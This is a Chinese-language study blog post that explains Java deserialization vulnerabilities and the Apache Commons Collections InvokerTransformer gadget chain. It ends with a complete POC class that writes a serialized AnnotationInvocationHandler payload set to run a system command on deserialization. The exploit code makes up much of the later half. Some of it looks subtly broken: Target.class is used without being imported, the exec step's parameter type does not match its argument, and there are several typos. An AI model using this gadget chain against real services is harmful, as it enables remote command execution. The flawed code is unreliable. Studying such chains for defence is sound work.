java反序列化漏洞原理研習

零、Java反序列化漏洞

　　java的安全問題首屈一指的就是反序列化漏洞，可以執行命令啊，甚至直接getshell，所以趁着這個假期好好研究一下java的反序列化漏洞。另外呢，組里多位大佬對反序列化漏洞都有頗深的研究，借此機會，努力學習，作為狼群中的哈士奇希望成功的繼續偽裝下去，不被識破，哈哈哈哈！！！

參考文檔：感謝所有參考文獻的作者：

1、https://www.cnblogs.com/bencakes/p/6139477.html

2、https://www.cnblogs.com/ssooking/p/5875215.html

3、https://www.cnblogs.com/xdp-gacl/p/3777987.html

一、Java的序列化與反序列化：

在這里我們直接自己定義一個類，然后對這個類的對象（一個實例）進行序列化和發序列化測試。

//引入必要的java包文件
import java.io.*;

//創建測試類，注意要繼承Serializable接口
class serialdemo implements Serializable{
    public static int number;
    public serialdemo(int inputnum) {
        this.number = inputnum;
    }
} 

//主類
public class test{
    //測試主類
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //主函數入口
        serialdemo object = new serialdemo(100);
        FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//創建文件寫入對象
        ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//創建類型序列化通道對象
        outputstream.writeObject(object);//把類對象（實例）序列化進入文件
        outputstream.close();
        FileInputStream fileinputstream = new FileInputStream("serail.ser");//從文件讀取對象
        ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//對象反序列化
        // 通過反序列化恢復對象obj
        serialdemo object2 = (serialdemo)inputstream.readObject();
        System.out.println("反序列化后的對象的值：");
        System.out.println(object2.number);
        inputstream.close();
    }
}

既然自己定義的類都可以了，那么默認的java存在的數據類型的實例當然也都可以啦~運行結果如下：

└─[$]> java test
反序列化后的對象的值：
100

 二、對java序列化的詳解：

1、api定位：

/*
java.io.ObjectOutputStream  ->   writeObject()
java.io.ObjectInputStream    ->    readObject()
序列化把對象序列化成字節流
反序列化讀取字節流反序列化對象
*/

2、實現Serializable和Externalizable接口的類才能序列化與反序列化。

3、java的反射機制：

/*
在java運行狀態中
1.對於任何一個類，都能判斷對象所屬的類；
2.對於任何一個類，都能獲取其所有的屬性和方法；
3.對於任何一個對象，都能調用任意一個方法和屬性；
*/

三、反序列化的漏洞原理概述：

1、由於很多站點或者RMI倉庫等接口處存在java的反序列化功能，攻擊者可以通過構造特定的惡意對象序列化后的流，讓目標反序列化，從而達到自己的惡意預期行為，包括命令執行，甚至getshell等等。

2、Apache Commons Collections

這是開源小組Apache研發的一個Collections收集器框架，提供諸如list、set、queue等功能對象。這個框架中有一個接口，其中有一個實現該接口的類可以通過調用java的反射機制來調用任意函數，這個接口類是InvokerTransformer。這個架構的廣泛使用，也導致了java反序列化漏洞的大面積流行。

 

3、java執行系統命令：

//命令執行函數
public void test() throws IOException, InterruptedException {
        Process process = Runtime.getRuntime().exec("whoami");
        InputStream inputstream = process.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
        process.waitFor();
        if (process.exitValue() != 0) {
            //說明命令執行失敗
            //可以進入到錯誤處理步驟中
        }
        //打印輸出信息
        String s = null;
        while ((s = reader.readLine()) != null) {
            System.out.println(s);
        }
    }

簡介：

Runtime.getRuntime().exec("command_string");

回顯呢：

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面結合起來就是序列化的打法。

四、關於反射鏈

以前一直不理解反射鏈是什么定西，現在我們來看看接口源代碼：

我們來理一理這一段：

開始：

可以看出來這個方法，屬於一個對象，輸出另外一個對象，完成了類型的轉換。同時這個接口還可以串聯完成一系列的轉換，構成反射鏈。

Apache Commons Collections中已經實現了一些常見的Transformer，其中有一個可以通過Java的反射機制來調用任意函數，叫做InvokerTransformer，代碼如下：

public class InvokerTransformer implements Transformer, Serializable {

...

    /*
        Input參數為要進行反射的對象，
        iMethodName,iParamTypes為調用的方法名稱以及該方法的參數類型
        iArgs為對應方法的參數
        在invokeTransformer這個類的構造函數中我們可以發現，這三個參數均為可控參數
    */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

只需要傳入方法名、參數類型和參數，即可調用任意函數。

在這里，我們可以看到，先用ConstantTransformer()獲取了Runtime類，接着反射調用getRuntime函數，再調用getRuntime的exec()函數，執行命令。依次調用關系為： Runtime --> getRuntime --> exec()。因此，我們要提前構造 ChainedTransformer鏈，它會按照我們設定的順序依次調用Runtime, getRuntime,exec函數，進而執行命令。正式開始時，我們先構造一個TransformeMap實例，然后想辦法修改它其中的數據，使其自動調用tansform()方法進行特定的變換(即我們之前設定好的)

 五、poc原理分析：

參考大牛博客，給出一個原理解釋知識點

ConstantTransformer
把一個對象轉化為常量，並返回。

InvokerTransformer
通過反射，返回一個對象

ChainedTransformer
ChainedTransformer為鏈式的Transformer，會挨個執行我們定義Transformer

不得不說上面大牛博客分析的大段的代碼原理我基本都不懂，因為不是java程序員的我對此真是摸不着頭腦，但是我們可以做如下總結：

/*
1、java反序列化可以遠程執行命令。
2、java執行命令用到Runtime.getRuntime().exec("whoami");
3、java在apache commons collections中存在InvokerTransoformer接口可以串聯對對象進行轉化，形成反射鏈。
4、ConstantTransformer可以把對象轉換為常量返回。
5、ChainedTransformer為鏈式的Transformer，會挨個執行我們定義Transformer
6、AnnotationInvocationHandler類可以導致命令執行在readobject時候自動執行
*/

POC的思路：

/*
1）首先構造一個Map和一個能夠執行代碼的ChainedTransformer，
2）生成一個TransformedMap實例
3）實例化AnnotationInvocationHandler，並對其進行序列化，
4）當觸發readObject()反序列化的時候，就能實現命令執行。
POC執行流程為 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功觸發
*/

分析大牛poc核心代碼邏輯：

/*
核心邏輯表達式：
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
主函數中：
1、定義一個要執行的命令字符串：String commandstring = "whoami";
2、定義一個執行邏輯：
Transformer[] transformers = new Transformer[] {
  new ConstantTransformer(Runtime.class),
  new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
  new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
  new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
}
3、執行邏輯轉化操作(ChainedTransformer類對象，傳入transformers數組，可以按照transformers數組的邏輯執行轉化操作)：
Transformer transformedChain = new ChainedTransformer(transformers);
4、后面是關於不關心的東西，寫死即可：
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
BeforeTransformerMap.put("hello", "hello");
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
*/

//引入必要的java包文件
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

//引入第三方包文件，也就是關於apache的那幾個包
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

//主類
public class POC_Test{
    public static void main(String[] args) throws Exception {
        //定義待執行的命令:
        String commandstring = "whoami";
        //定義一個反射鏈，確定預定的轉化邏輯
        /*
          定義一個反射鏈的方法：
          Transformer[] varitename = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
            new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
          }
        */
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            /*
            由於Method類的invoke(Object obj,Object args[])方法的定義
            所以在反射內寫new Class[] {Object.class, Object[].class }
            正常POC流程舉例：
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class },
                new Object[] {null, null }
            ),
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { commandstring }
                //new Object[] { execArgs }
            )
        };

        //transformedChain: ChainedTransformer類對象，傳入transformers數組，可以按照transformers數組的邏輯執行轉化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map數據結構，轉換前的Map，Map數據結構內的對象是鍵值對形式，類比於python的dict
        //Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
        BeforeTransformerMap.put("hello", "hello");

        //Map數據結構，轉換后的Map
       /*
       TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化，該方法有三個參數。
            第一個參數為待轉化的Map對象
            第二個參數為Map對象內的key要經過的轉化方法（可為單個方法，也可為鏈，也可為空）
            第三個參數為Map對象內的value要經過的轉化方法。
       */
        //TransformedMap.decorate(目標Map, key的轉化對象（單個或者鏈或者null）, value的轉化對象（單個或者鏈或者null）);
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}

/*
思路:構建BeforeTransformerMap的鍵值對，為其賦值，
     利用TransformedMap的decorate方法，對Map數據結構的key/value進行transforme
     對BeforeTransformerMap的value進行轉換，當BeforeTransformerMap的value執行完一個完整轉換鏈，就完成了命令執行

     執行本質: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射調用Runtime() 執行了一段系統命令, Runtime.getRuntime().exec()

*/